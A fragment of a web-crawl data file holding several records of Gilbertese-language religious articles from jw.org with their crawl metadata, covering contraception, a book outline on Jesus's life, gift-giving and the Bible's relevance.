e a riki te bunnimoa ao e a kaitiboo ma ana mannikariki te mwaane ao e a riki te maiu? E kona n rin n te kai te bunnimoa are e a tia ni kaitiboo ma ana mannikariki te mwaane, ma e na aki kona ni maiu ngkai e aki bobonga raoi te beera ibukin rikirakena. E na moantaai n toki te bikoukou anne. Ma e taraa ni karako rikin anne, n aron naba ae riki n tabetai ni kabonganaani bwatin ibukini kamarangaan te kariki.\nMangaia are akea ae e kona ni kakoauaa raoi bwa ruubu aika irekereke ma te copper ke te hormone a tuka raoi kaitiboon te bunnimoa ma ana mannikariki te mwaane. Ma bwaai ni kakoaua man aia kukune taan rabakau, a kaotia bwa tao e burenibwai n reke te bikoukou ni kabonganaan ruubu akanne.\nNgkana iai te taanga ni Kristian ae e iangoa kabonganaan te ruubu, a kona ni maroro ma temanna te taokita ni kaineti ma ruubu aika tauraoi n aia tabo. A na karekei rongorongon nakoraoin ao nakobuakan ruubu aikai nakon te aine. A na aki kantaningaia te taanga anne bwa te taokita ke temanna riki i rarikia e na tuangia te bwai ae a riai ni karaoia. (IRom 14:12; IKar. 6:4, 5) Bon tabeia karaoan aia motinnano iai. A riai ni kaai ni karaoa aia motinnano ae a na kakukureia iai te Atua ao ni kateimatoa itiakini mataniwin nanoia i matana.—Kabotaua ma 1 Timoteo 1:18, 19; 2 Timoteo 1:3.\n^ bar. 4 E taekinaki ae kangai n ana ribooti te National Health Service mai Engiran: \"Ruubu aika bati riki te buraati iai, e raka i aon 99 te katebubua nakoraoina. Nanon aei bwa e kee i aan temanna i buakoia aine aika 100 aika a kabongana te ruubu ae e kona ni bikoukou i nanon teuana te ririki. Ruubu ake e karako riki te buraati iai, e na kee riki nakoraoina.\"\n^ bar. 5 Ibukina bwa a kammania te beera n ana kai te aine ruubu aikai, n tabetai a kona ni kabonganaaki ibukini bwainnaorakiaia aine aika nraraa.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-ritembwa-2017\/iud-kamarangaan-te-kariki-kristian\/","date":"2018-04-23T06:31:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945793.18\/warc\/CC-MAIN-20180423050940-20180423070940-00409.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1126,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Iesu—Te Kawai, te Koaua, ao te Maiu\nWareki n te boki aei taekan nako baike a riki ni maiun Iesu ae koreaki n te Baibara.\nTE MOANTAEKA\nA kona ni bita maium ana reirei Iesu ao ana mwakuri, aika kuneaki n te Euangkerio.\nMWAKORO 1\nE karokoi rongorongo te anera ae Kabiriera ake e kangaanga kakoauaaia.\nMWAKORO 2\nE kangaa Eritabeta ao natina are tuai bungia ni karinea Iesu?\nMWAKORO 3\nN te tai are e okira iai arona Tekaria ni kona n taetae n te aro ni kakai, e a taekina te taetae ni burabeti ae kakawaki.\nMWAKORO 4\nE kakoauaa Ioteba ngke e taekinna Maria bwa e aki bikoukou iroun te mwaane temanna, ma rinanon te taamnei ae raoiroi?\nMWAKORO 5\nTi kangaa n ataia bwa e aki bungiaki Iesu n Ritembwa 25?\nMWAKORO 6\nA taetae ni burabetiia taekan Iesu n te tai ae e na roko uoman kaara aika I-Iteraera n uotakin Iesu nakon te tembora iroun Ioteba ao Maria.\nMWAKORO 7\nBukin tera ngke e aki moani kairiia te itoi are a noria i Mainiku nakon Iesu, ma e kairiia nakon te Uea ae Erote are te tia tiritiri?\nMWAKORO 8\nA kakoroaki bukin taetae ni burabeti aika tenua n te Baibara ibukin te Mesia ni maiun Iesu ngke e uarereke.\nMWAKORO 9\nIraman tarin ao mwaanen Iesu?\nMWAKORO 10\nE bwara nanon Ioteba ao Maria ngke e a aki kona n reke Iesu, ma e mimi irouia ngke a aki waekoa n ataa te tabo ae e na mena iai.\nMWAKORO 11\nNgke e kawaraki Ioane irouia Baritaio ao Tarukaio ao e boni kabuakakaia. Bukin tera?\nMWAKORO 12\nBukin tera ngkai e bwabetitoaki Iesu ao akea ana bure?\nMWAKORO 13\nA kakoauaaki ni kataakin Iesu baika uoua aika koaua ibukin te Riaboro.\nMWAKORO 14\nTera are a kakoauaa iai taani moan rimwin Iesu ake onoman bwa e a tia n reke irouia te Mesia?\nMWAKORO 15\nE kaotia Iesu nakon tinana ae e a kairaki ngkai iroun Tamana are i karawa ma tiaki iroun neiei\nMWAKORO 16\nA kariaiakaki aomata n ana Tua te Atua bwa a na kabooi maan i Ierutarem ibukin te angakarea, ma e aera ngkai e aki kukurei Iesu irouia taani boobwai n te tembora?\nMWAKORO 17\nTera ae nanonaki n te \"manga bungiaki\"?\nMWAKORO 18\nA bakantang taan rimwin Ioane te tia Bwabetito e ngae ngke e aki bakantang Ioane.\nMWAKORO 19\nE tuangaki neiei iroun Iesu te bwai ae e tuai n tuanga temanna.\nMWAKORO 20\nE kamarurunga Iesu te ataei man te raroa ae 16 tabun te maire (26 te kiromita).\nMWAKORO 21\nTera ae e taekinna Iesu are a kan tiringnga iai kaain ana kaawa?\nMWAKORO 22\nE kaoia Iesu bwa a na kitana akawaia are a kakaraoia ao ni moana te akawa teuana.\nMWAKORO 23\nNgke e kanakoia taimonio Iesu, ao e katokiia taimonio bwa a na aki tuangia aomata ae ngaia Natin te Atua. Bukin tera?\nMWAKORO 24\nA kawara Iesu aomata ibukini kamarurungaia, ma e kabwarabwaraa Iesu bwa e bati riki ae kantaningaaki n ana mwakuri ni minita.\nMWAKORO 25\nE anga te kakoaua Iesu bwa e bon tabeakinia te koraki ake e kamarurungia man ana taeka ae bebete ma e rangi ni mwaaka.\nMWAKORO 26\nTera ae e kaotia Iesu ae irekereke iai te bure ao te aoraki?\nMWAKORO 27\nE aera ngkai e rangi ni kukurei Iesu n amwarake ma aika ataaki bwa taani bure?\nMWAKORO 28\nE katauraoa te kaeka Iesu ni kamanena te kaikonaki ibukini nneni wain.\nMWAKORO 29\nE aera ngke a bwainikirina Iesu I-Iutaia ngke e kamarurunga teuae aoraki i nanon 38 te ririki?\nMWAKORO 30\nA iangoia I-Iutaia ae e kaboraoia Iesu ma te Atua, ma e kamataataa Iesu bwa e kakannato riki te Atua nakoina\nMWAKORO 31\nBukin tera ngke e atongnga Iesu bwa boni ngaia \"Uean te bongi n Taabati\"?\nMWAKORO 32\nA kairiribai Tarukaio ao Baritaio, ma a boonnano ibukin aia iango teuana.\nMWAKORO 33\nE Aera Iesu ngke e tua nakoia naake e kamarurungia bwa a na aki kaokaotia bwa antai ngaia ke te bae karaoia?\nMWAKORO 34\nTera kaokoron te abotoro ao te tia rimwin Iesu?\nMWAKORO 35\nKarekea kabwarabwaraan reirei aika kakawaki man ana kabwarabwara Iesu.\nMWAKORO 36\nTera ae e karaoia te mataniwi n tautia aei ae e mimi iai Iesu?\nMWAKORO 37\nNaake a nora te kakai aio, a ataa kakawakina ni koaua.\nMWAKORO 38\nE aera ngkai e titiraki Ioane te tia Bwabetito bwa Iesu bon te Mesia ke tiaki? E nanououa Ioane?\nMWAKORO 39\nE taku Iesu bwa e na bebete riki tuuaan te aba ae Totom n te Bong ni Motikitaeka nakon tuaani Kaberenaum, ae ana kaawa ae okiokiria.\nMWAKORO 40\nN tuangan te aine are tao e kakabooaki ibukin te wene ni bure bwa a kabwaraaki ana bure, e iangoia iai Iesu bwa e uki uruakan ana tua te Atua?\nMWAKORO 41\nA kakoauaa tarina bwa e a mino.\nMWAKORO 42\nTera \"ana kanikina Iona ae te burabeti\"?\nMWAKORO 43\nE taekini kaikonaki aika wanua Iesu bwa e na kabwarabwaraa iai iteran te Tautaeka n Uea ae bwaini karawa.\nMWAKORO 44\nE anga te reirei Iesu ibukin aron te maiu i aan ana kairiri n te Tautaeka n Uea ngke e katoka te ang ao te nao.\nMWAKORO 45\nE kona te aomata n taniaki irouia taimonio aika bati?\nMWAKORO 46\nE kaota mwaakana Iesu ao te atataiaomata n te bwai ae riki ae kakukurei aei.\nMWAKORO 47\nA ngareakina Iesu aomata ngke e taku bwa e bon tii matu te teinnaine are mate. Tera ae e ataia ae a aki ataia?\nMWAKORO 48\nA aki kakoauaa Iesu kaain Natareta, tiaki ibukin ana reirei ke ana kakai, ma iai bukina riki teuana.\nMWAKORO 49\nTera ae nanonaki raoi n te kibuntaeka ae 'e a kaan te Tautaeka n Uea'?\nMWAKORO 50\nE aera ngkai e tuangia Iesu bwa a na birinako ngkana a bwainikirinaki ngkana a na aki maaka te mate?\nMWAKORO 51\nE rangi ni bwaka nanon Erote n ana mwaie Tarome ngaia are e a berita bwa e na anganna ae e tangiria neiei n aki ongeia bwa tera. Tera ana bubutii ae rangi ni buakaka?\nMWAKORO 52\nE rangi ni kakawaki ana kakai Iesu ngaia are a a koreaki n Euangkerio ni kabane ake aua.\nMWAKORO 53\nTera reireiaia abotoro ngke e nakonako Iesu i aon te ran ao ni katoka te angibuaka?\nMWAKORO 54\nE aera Iesu ngke e un nakoia aomata e ngae ngke a kakorakoraia ni kawaria?\nMWAKORO 55\nE rangi ni kakubanako ana reirei Iesu n te aro are a bati taan rimwina aika kitanna.\nMWAKORO 56\nTe baere e karinna i nanoni wina, ke are e otinako mai wina?\nMWAKORO 57\nE aera ngke e aki un te aine aei ngke e kabotaua Iesu te natannaomata are nako mai iai, ma kamea aika uarereke?\nMWAKORO 58\nE a tibwa reke otaia taan rimwina n te baere e taekinna ibukin te iiti.\nMWAKORO 59\nBaikara taiani kiing ibukin te Tautaeka n Uea? Antai ake e kamanenai ao n te aro raa?\nMWAKORO 60\nTera te onikaki? Tera ae e nanonaki iai?\nMWAKORO 61\nE taku Iesu bwa e riki n aki nako te taimonio ibukina bwa e karako te onimaki, ma n ana itera antai? Te teinimwaane, tamana, ke taan rimwin Iesu?\nMWAKORO 62\nE reke reireiaia ae kakawaki mwaane aika ikawai mairoun te ataei.\nMWAKORO 63\nE taekin aanga aika tenua ibukini kanakoraoani kangaanga i marenaia taari.\nMWAKORO 64\nNi kamanenaan te kaikonaki ibukin te toro ae aki nanoanga, e kaota iai Iesu aron te Atua n tarai raoi nanora ni kani kabwarai aia bure tabemwaang.\nMWAKORO 65\nE katerei aroaro aika kona n totokoa te aomata bwa e na iria, n ana maroro aika tenua aika kimototo.\nMWAKORO 66\nTera ae a kona ni kakoauaa iai te koraki ake a ongora iroun Iesu bwa e bon taniaki n te taimonio?\nMWAKORO 67\nE teretere bwa a bane ni kaitaraa Iesu kaain aia boowi ae rietata I-Iutaia, ma e ninikoria temanna kaain te boowi n taetae ibukina.\nMWAKORO 68\nE taku Iesu bwa e na \"kainaomataingkami te koaua.\" Te inaomata man tera?\nMWAKORO 69\nE maroroakina aroni kinaakia natin Aberaam Iesu ao antai raoi Tamana.\nMWAKORO 70\nA titiraki taan rimwina bwa e aera ngkai e bungiaki ni mataki teuaei. E karaoa te bure? A bure ana karo? A kakaokoro aia iango aomata ngke e kamarurunga teuaei Iesu.\nMWAKORO 71\nA rangi n un Baritaio n ana taeka ae ota raoi teuae mataki ngkoa. E kabaneaki teuaei man te tinakoka irouia Baritaio n aron are a A kamani maakua ana karo.\nMWAKORO 72\nE kanakoia taan rimwina ake 70 ao e tuangia bwa a na uarongorongoa taekan te Tautaeka n Uea i Iutaia. A na uarongorongo ia taan rimwina, n taian tinakoka ke ni mwengaia aomata?\nMWAKORO 73\nE kangaa Iesu ni kamanena te kaikonaki ae taekan te I-Tamaria ae te rao ke te \"I-Tamaria ae raoiroi,\" ni karekea iai te reirei ae ringa te nano?\nMWAKORO 74\nA kawaraki Maria ao Mareta iroun Iesu ni mwengaia. Tera ae e reireinia ibukin akoaia iruwa? Ao e kangaa n reireinia taan rimwina imwina riki te bae a na tataroakina?\nMWAKORO 75\nE kaekaia taani kabuakaka Iesu n tuangia taekan \"tabonibain te Atua\" ao rokon te Tautaeka n Uea i buakoia. E kaota naba aroni karekean te kukurei irouia aomata.\nMWAKORO 76\nE kaotaraei Iesu aia mwamwanaa te aba n te Aro Baritaio ao taani koroboki. Baikara uota aika rawawata ake a angania aomata bwa a na uotii?\nMWAKORO 77\nE anga Iesu te kaikonaki ae taekan te aomata ae kaubwai are e katei auti ni kaikobwai aika bubura. Tera te reirei ni kairiri are e kaokiokia ibukin te kangaanga n ukeran te kaubwai?\nMWAKORO 78\nE kaota tabeakinani marurungin aia onimaki taan rimwina Iesu. Tera taben te toro ni kaineti ma marurungin te onimaki? E aera ngkai e rangi ni kakawaki te reirei ni kairiri ibukin te tauraoi?\nMWAKORO 79\nE taekinna Iesu bwa te koraki ake e kataia ni buokiia, a a bon tau ni kamaunanakoaki ngkana a aki rairi nanoia. A na reiakina te reirei ae kakawaki are e kataia n reireinia Iesu ibukin reitakia ma te Atua?\nMWAKORO 80\nE kaotaki raoi ana namakin Iesu ibukia taan rimwina man aron reitakin te tia kawakintiibu ma ana tiibu. A na atai ana reirei ao ni kakairi n ana kairiri?\nMWAKORO 81\nA bukina Iesu tabeman taan tiribure bwa e kani kaboraoia ma te Atua. E kangaa ni mwaatai ni kaitaraa aia bukibuki ni kewe?\nMWAKORO 82\nE kabwarabwaraa Iesu nakoia ake a ongora irouna te bwai ae kainnanoaki ibukini karekean te kamaiuaki. E kakawaki ana taeka n reirei ni boong ake rimoa. Ma tera aroni boong aikai?\nMWAKORO 83\nNgke e amwarake Iesu n ana auti te Baritaio, ao e taekina te kaikonaki ae te baka ibukin te katairiki. Iai ana reirei ae kakawaki ibukia ana aomata ni kabane te Atua. Ae tera?\nMWAKORO 84\nBon te mwioko ae kakawaki te riki bwa te tia rimwini Kristo. E kamataatai Iesu baika irekereke iai. A kubanako tabeman ake a na riki bwa taan rimwina n te bwai are e taekinna.\nMWAKORO 85\nA kabuakakaa Iesu Baritaio ao taani koroboki ngke e tabeakinia aika mangori. Ni kaekaan anne, e kabonganai kaikonaki Iesu ni kaota aron te Atua n iangoiia taani bure.\nMWAKORO 86\nBaikara reireiara man ana kaikonaki Iesu ae te nati ae bakatae?\nMWAKORO 87\nE kabongana Iesu te kaikonaki ae te babaire ao manatian te auti ae aki raoiroi, n reirei iai taekan te koaua ae kamimi.\nMWAKORO 88\nKo kona n ota n ana kaikonaki Iesu ngkana ko ataia bwa a tei ibukia antai aomata aika uoman aikai.\nMWAKORO 89\nE kamataataa te aroaro ae kona ni buokira ni kabwarai aia bure naake a okioki ni bure nakoira.\nMWAKORO 90\nTera ae nanonna Iesu ngke e taku bwa a na \"bon aki mate\" akana onimakinna?\nMWAKORO 91\nUoua baika kakawaki are e a kangaanga iai kakewean te kakai irouia taani kakaitaraa Iesu.\nMWAOKORO 92\nE kakaitau teuare kamarurungaki tiaki tii nakon Iesu ma nakon temanna riki.\nMWAKORO 93\nE na kangaa n riki bwa kaanga te itirua okini Kristo ma tikuna?\nMWAKORO 94\nN ana kaikonaki ae te tia moti ae buakaka ao te aine ae mate buuna, e a kabwarabwaraa iai Iesu kakawakin te aroaro teuana.\nMWAKORO 95\nE kaokoro ana iango Iesu ibukia ataei ma aia iango taan rimwina. Bukin tera?\nMWAKORO 96\nTera are e kaira Iesu bwa e na taekina ae e bebete riki iroun te kamero bwa e na rin i nanoni bwangabwangan te neiran n itutu, nakon rinin te aomata ae kaubwai n ana Tautaeka n Uea te Atua?\nMWAKORO 97\nA kangaa akana rimoa ni manga rimwi ao akana rimwi n rimoa?\nMWAKORO 98\nA bubutii Iakobo ma Ioane nakoaia ae okoro n te Tautaeka n Uea, ma tiaki tii ngaiia.\nMWAKORO 99\nA na kangaa ni kaboraoaki karaki man te Baibara aika a taraa ni kauntaba ibukin Iesu ngke e kanorabaa te mwaane ae mataki i rarikin Ieriko?\nMWAKORO 100\nTera ae e nanonna Iesu ngke e kangai: \"Bwa ane iai irouna ao e na anganaki riki, ma ane akea irouna ao e na anaaki are irouna\"?\nMWAKORO 101\nE kauekea te kauntaeka Maria are mwaanen Rataro, ma e irantangaa neiei Iesu.\nMWAKORO 102\nE kakoroa bukin te taetae ni burabeti ae ai nimabubua ririkina.\nMWAKORO 103\nA taraa ni karaoa te bitineti ae riai taani kaboonakoi bwaai i Ierutarem, ma e aera Iesu ngke e arania bwa taani kamwarua?\nMWAKORO 104\nIai te kaokoro i marenan onimakinan Iesu ao mwakurian te onimaki anne?\nMWAKORO 105\nE reireinia taan rimwina Iesu korakoran te onimaki ao e kabwarabwaraa bukin ribaakin te natannaomata ae Iteraera iroun te Atua.\nMWAKORO 106\nKakaaei nanoni kaikonaki ae taekan te mwaane ae tuangia natina bwa a na mwakuri n ana nne ni kureebe ao ae taekan te mwaane ae anga ana nne ni kureebe bwa a na riitinna taan ribana aika buakaka.\nMWAKORO 107\nAna kaikonaki Iesu bon te taetae ni burabeti.\nMWAKORO 108\nE kaini moa wia Baritaio, ao imwina Tarukaio, ao n tokina taani kakaitaraa ake a a ikotaki.\nMWAKORO 109\nE aera Iesu ngkai e aki butimwaei kakaokoron Aaro?\nMWAKORO 110\nE kabongana ana katoto te aine ae e a tia ni mate buuna n anga iai te reirei ae rangi ni manena.\nMWAKORO 111\nE kakoroaki bukin ana moan taetae ni burabeti n te moan tienture. Iai naba kakoroani bukina ae raababanako rimwi riki?\nMWAKORO 112\nE koaua bwa e reirei Iesu bwa iterani mwaitiia taan rimwina a nanobaba ao iteraia a wanawana?\nMWAKORO 113\nE kabwarabwaraaki ana taeka Iesu n ana kaikonaki aei: \"Ane iai irouna ao e na anganaki riki.\"\nMWAKORO 114\nE kabongana te kaikonaki ae kakaongora Iesu ni kabwarabwaraa te bwai ae boto iai te motikitaeka n aki toki.\nMWAKORO 115\nE aera ngkai e kakawaki ataakin ae mataniwin te Aro a boraraoia bwa a na angan Iuta 30 raoi te mwakoro n tirewa ibukini kamwanean Iesu?\nMWAKORO 116\nE kamimia abotoro n arona ni karaoa ana mwakuri te toro.\nMWAKORO 117\nE karaoa Iesu te kauring are a riai taan rimwina ni karaoia ni katoa ririki n Nitian 14.\nMWAKORO 118\nA a manga mwaninga naba abotoro ana reirei Iesu are e a tibwa tia n anga n te tairiki anne.\nMWAKORO 119\nE reirei Iesu te koaua ae kakawaki ibukini kawaran te Atua.\nMWAKORO 120\nN te aro raa ae a \"karikiuaa\" iai taan rimwin Iesu?\nMWAKORO 121\nE kangaa Iesu n tokanikai i aoia kaain te aonnaba ao e kamateaki irouia kaain te aonnaba?\nMWAKORO 122\nE kamataataa bwa e a tia ni kakororaoa te bwai ae kakawaki riki nakoni kamaiuaia aomata.\nMWAKORO 123\nBukin tera ngke e tataro Iesu bwa e na 'anaaki te mwangko mairouna'? E koaua bwa e a kaaki taekani mwiokoana ae e na mate bwa te karea ni kaboomwi?\nMWAKORO 124\nE bon reke Iesu iroun Iuta e ngae ngke e a nukanibong.\nMWAKORO 125\nE kamangaoaki te kaetitaeka ae riai ni motikan taekan Iesu.\nMWAKORO 126\nE kangaa ni waekoa n tannako mairoun Iesu, Betero ae te mwaane ae iai ana onimaki ao ana tangira?\nMWAKORO 127\nA kaota raoi nanoia mataniwin te Aro.\nMWAKORO 128\nBukin tera bwa e kanakoaki Iesu irouni Birato nakon Erote bwa e na motika taekana? Akea mwaakani Birato ni motika taekan Iesu?\nMWAKORO 129\nE kakoauai naba Birato aroaron Iesu ake e kaotiotii.\nMWAKORO 130\nE aera Iesu ngke e tuangia aine ake a nanokawaki bwa a na tang ibukia ao ibukia natiia, ma a na aki tang ibukina?\nMWAKORO 131\nE karaoa ana berita ae rangi ni kakawaki nakon temanna te tia kamwarua are e na kamateaki ma ngaia.\nMWAKORO 132\nTe rotongitong n te aro ni kakai are e riki n te ngaina, te mwaeiei, ao raeuaakini keetenin te tembora, a bane ni kaota te bwai ae tii teuana.\nMWAKORO 133\nBukin tera bwa e kaumakaki kaiiakin Iesu imwaini bungin taai?\nMWAKORO 134\nImwini kautakin Iesu, e kaoti moa nakon te aine ae te tia rimwina n oneani mwin are e na kaoti nakoia ana abotoro.\nMWAKORO 135\nE kangaa Iesu ni kaota ae e a mangauti man te mate?\nMWAKORO 136\nE kauringaki Betero tentai ibukini kakoauaan tangiran Iesu irouna.\nMWAKORO 137\nN te tai are i marenani mangautin Iesu ao waerakena nako karawa, e okioki ni katerea nakoia taan rimwina te baere e na reke irouia ao aroia ni kabongana.\nMWAKORO 138\nTera are e karaoia Iesu ngke e tataningaa te tai are e nang kaaitaraia iai akana kairiribai nakoina?\nMWAKORO 139\nE teimatoa ni bati te bwai ae e na karaoia imwain ae e anga te Tautaeka n Uea nakon Atuana ao Tamana.\nE okioki Iesu ni kaotiotii aroaro aika wanua i nanoni maiuna.\nKabongana karinanin kiibu aei ni kakaaea n te boki aei kibun te Euangkerio teuana ma teuana ae rinanoaki.\nNora te mwakoro n te boki aei ake a maroroakinaki ana kaikonaki Iesu n tatabeua nako.\nKaboraoi baika riki ni maiun Iesu ma taetae ni burabeti aika n te Baibara ni kaota koauan ae boni ngaia te Mesia ao mwakoro n te boki aei ike a rinanoaki iai.\nE oti n te mwabe aei aono ake e karaoa iai mwakuri ni minita Iesu.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/","date":"2018-04-21T20:23:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945317.36\/warc\/CC-MAIN-20180421184116-20180421204116-00609.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":2925,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.398,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Anne ana namakin te teinnaine ae 13 ana ririki ngke e bwaintangiraaki n ana man te kamea. E taku te aine ae te tia bitineti bwa ana kaombiuta mairoun tamana ngke e kauarinan, bon te bwaintangira ae bita maiuna. Ao te mwaane temanna, e taku bwa ana reta buuna nakoina ni koron teuana aia ririki ni mare, bon te bwaintangira ae te kabanea n raoiroi.\nNi katoa ririki ao a bati aika kabanea aia tai ao korakoraia n ukera te bwaintangira ae \"te kabanea n raoiroi\" ibukin raoraoia ke aia koraki, n te tai ae okoro. Ao angiina a kan ongo ana namakin te aomata are a bwaintangiraia, n aron naba ae oti mai moa. Tera ngkoe arom? Ko kan anga ke n anganaki bwaintangira aika rangi ni kakawaki?\nE kona ni kakukurei kantaningaan anne, tiaki tii ibukin ana namakin te tia bwaintangiraaki, ma ibukin naba ana namakin te tia anga. Bwa e taku te Baibara: \"E kakukurei riki te anga nakon te anganaki.\" (Mwakuri 20:35) E na boni kakukurei riki te anga ngkana e rangi ni kakawaki te bwaintangira iroun te tia bwaintangiraaki.\nE na kangaa ngkanne n riki am bwaintangira bwa nibwani kukureim ni koaua ao te aomata are ko anganna? Ngkana ko aki kona n anga te bwaintangira ae te \"kabanea n raoiroi,\" tera ae ko na karaoia bwa e aonga ni butimwaeaki raoi am bwaintangira?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na6-2017-nobembwa\/te-bwaintangira-nakoiu-ae-te-kabanea-n-raoiroi\/","date":"2018-04-25T11:29:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947795.46\/warc\/CC-MAIN-20180425100306-20180425120306-00204.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":227,"character_repetition_ratio":0.124,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.401,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE TAUA-N-TANTANI Na. 1 2018 | E Manena te Baibara ni Boong Aikai?\nE MANENA TE BAIBARA NI BOONG AIKAI?\nNgkai ti a maeka n te aonnaba ae e mamate nanoia kaaina ni kukune aika boou, nanona ngkanne bwa e a aki manena te Baibara, ngkai te boki nikawai? E kangai te Baibara:\n\"E kairaki korean te Koroboki ae Tabu ni kabane iroun te Atua ao e manena.\"—2 Timoteo 3:16.\nE maroroakinaki n Te Taua-n-Tantani aei ana taeka te Baibara ae e boni kona ni kairira n iterani maiura ni kabane.\nNgkai a tatauraoi n taai nako rongorongo aika boou, e aera bwa ti na tabe ma te boki ae e a kaania 2,000 te ririki maanna? E Manena Ngkai Ana Kairiri te Baibara?\nA aki kona ni bane tain ana reirei te Baibara ngkana a kabotauaki ma te rabakau ae boou, bwa a boto i aoni booto n reirei aika manena ao a teimatoa.\nTe Baibara bon tiaki bokin te rabakau n aonnaba, ma a kaotaki iai taekan te rabakau n aonnaba aika ko kona ni mimi iai.\nIangoa aroni wanawanan te Atua n tia ni buokia aomata bwa a na totokoi kangaanga ake a rangi ni kakaiaki.\nE anga te wanawana te Baibara bwa ti na tokanikai i aoni kangaanga aika wenemaan ao mani kamarakinano, n aron te raraoma ae riao, te kakabanetai, ao te maroaa n uringaaba.\nTera aroni kangaanga aika aki kona n totokoaki ke ni katokaki, n aron te aoraki ae wenemaan ke te mate?\nE buokira Ana Taeka te Atua ni kaaitarai baika kona n riki n aroni kangaanga ni katoabong aika ti kaaitara ma ngaai n te aonnaba aei. Ma e bati riki buokara n te Baibara. E kaotaa naba kawaira bwa ti na nori taai aika a na roko.\nIangoa te bae a kakoauaa aomata tabeman ao ana reirei te Baibara i aon te titiraki anne.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na1-2018-tian-beb\/","date":"2018-04-27T08:53:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524127095762.40\/warc\/CC-MAIN-20180427075937-20180427095937-00313.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":309,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.227,"stopwords_ratio":0.472,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1-3. Tera are e karaoia Iesu ngke e noria bwa e kabarekaaki te tembora?\nE KORAKORA karinean te tembora are i Ierutarem iroun Iesu ibukina bwa e ataa te bwai ae e tei ibukina. E a maan n riki te tembora bwa nibwan te taromauri ae koaua i aon te aba. Ma te taromauri anne bon taromaurian te Atua ae tabu ae Iehova, ae e riai n akea baarekana ao n itiaki. Iangoia bwa tera aron Iesu ngke e a roko n te tembora n Nitian 10 n 33 C.E., ao n noria bwa e a kabarekaaki. Tera are riki?\n2 N aia katawanang Tientaire ao a karaoi mwakuri aika aki raraoi taani kaboonakoi bwaai aika nanonrang ao taan raimwane, nakoia taan taromauri ake a roko bwa a na angakarea nakon Iehova. * E \"kakioianako taani kaboonakoi bwaai ao taani kaboobwai i nanon te tembora [Iesu], ao e karangai aia taibora taan raimwane.\" (Kabotaua ma Neemia 13:7-9.) E kabuakakaia mwaane aika bangaomata aikai bwa a bita umwan Tamana nakoni \"bwangaia taani kamwarua.\" E kaota karinean te tembora Iesu ao te baere e tei te tembora ibukina. E riai n teimatoa n itiaki taromaurian Tamana!\n3 N tienture ake imwina riki, imwini karikan Iesu bwa te Uea ae te Mesia, ao e a manga kaitiaka naba te tembora, ae e irekereke ma aomata nako ni boong aikai ake a kan taromauria Iehova n te aro ae riai. Te tembora raa are e kaitiakia ngkanne?\nKaitiakaia \"Tibun Rewi\"\n4, 5. (a) A kangaa ni katamaroaaki ao ni kaitiakaki taan rimwin Iesu aika kabiraki, man 1914 nakoni moan 1919? (b) Te koaua bwa e toki ikanne katamaroaaia ao kaitiakaia ana aomata te Atua? Kabwarabwaraa.\n4 N aron are ti noria ni Mwakoro 2 n te boki aei, ao imwini kaueaan Iesu n 1914 ao e roko ma Tamana n tuoa te tembora n taamnei, ae nanonaki iai te babaire ibukin te taromauri ae itiaki. * Imwin te tutuo anne ao e noria te Uea bwa a kainnanoa katamaroaaia ao kaitiakaia \"tibun Rewi,\" ae taekaia Kristian aika kabiraki. (Maraki 3:1-3) Man 1914 nakoni moan 1919, ao e a kariaia ana aomata te tia Katamaroa ae Iehova bwa a na rinanoni kataaki aika kakaokoro ao kangaanga aika karaoaki iai katamaroaaia ao kaitiakaia. E kakukurei bwa a otinako man taiani kataaki aika korakora taani kabiraki akanne, ao a a itiaki riki iai ma n ingainga ni boutokaa te Uea ae te Mesia!\n5 Te koaua bwa e toki ikanne katamaroaaia ao kaitiakaia ana aomata te Atua? E aki. E teimatoa Iehova ni kabaneani boong aikai rinanon te Uea ae te Mesia, ni buokiia taan rimwina bwa a na itiaki bwa a aonga ni kona n teimatoa ni mena i nanon te tembora n taamnei. Ni mwakoro aika uoua aika imwina riki, ti na nora arona ni kaitiakiia ni kaineti ma te aroaro ni maiu ae riai ao ni waakin aia botaki. Ma ti na maroroakina moa te kaitiaki ni kaineti ma te onimaki. E kakorakoraa te onimaki iaiangoani baike e a tia ni karaoi Iesu ni buokiia iai taan rimwina bwa a na kaitiakaki ni kaineti ma te onimaki. Tabeua mai buakoni baikai a kai noraki karaoaia ao tabeua a aki.\n\"Kateimatoa 